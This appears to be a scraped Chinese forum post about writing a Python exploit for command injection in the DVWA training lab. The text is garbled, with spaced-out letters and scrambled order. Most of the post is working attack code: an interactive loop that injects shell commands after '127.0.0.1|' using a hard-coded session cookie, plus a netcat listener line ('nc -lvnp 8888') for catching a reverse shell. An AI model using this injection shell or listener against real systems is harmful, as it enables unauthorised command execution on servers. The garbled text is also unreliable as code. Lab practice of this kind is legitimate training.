[26714] 2021-04-10_CommandInjection命令执行exp编写

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-19
2021-04-10_CommandInjection命令执行exp编写 1 2 C o m m a n d   I n j e c t i o n   e x p   m o o n s e c   m o o n s e c   2 0 2 1 - 0 4 - 1 0   # E X P   , 4 p y t h o n 3 E X P C o m m a n d   I n j e c t i o n   e x p D V W A E X P E X P p y t h o n 3 e x p h t t p s : / / g i t h u b . c o m / d i g i n i n j a / D V W A   d v w a l o w   1 2 7 . 0 . 0 . 1   1 2 7 . 0 . 0 . 1 | d i r   d i r
s u b m i t   c o o k i e s i n p u t W h i l e   T r u e   # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   b a s e 6 4 i m p o r t   r e c o o k i e s   =   { " P H P S E S S I D " : " 7 g j 9 3 j l o 1 3 g i t m i 8 i s b a p h b a u 4 " , " s e c u r i t y " : " l o w " } u r l   =   " h t t p : / / w w w . d v w a . c o m / v u l n e r a b i l i t i e s / e x e c / " w h i l e   T r u e :         c m d l i n e = b a s e 6 4 . b 6 4 e n c o d e ( i n p u t ( ' < < < ' ) . e n c o d e ( " u t f - 8 " ) )         d a t a = { ' i p ' : ' 1 2 7 . 0 . 0 . 1 | ' + s t r ( b a s e 6 4 . b 6 4 d e c o d e ( c m d l i n e ) , " u t f - 8 " ) , ' S u b m i t ' : ' S u b m i t ' }         r e q   =   r e q u e s t s . p o s t ( u r l = u r l , d a t a = d a t a , c o o k i e s = c o o k i e s )
3 3 K A L I   n c   - l v n p   8 8 8 8           r e q   =   r e q u e s t s . p o s t ( u r l = u r l , d a t a = d a t a , c o o k i e s = c o o k i e s )         g e t d a t a = r e q . t e x t [ r e q . t e x t . i n d e x ( ' < p r e > ' ) + 5 : r e q . t e x t . i n d e x ( ' < / p r e > ' ) ]         p r i n t ( g e t d a t a )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则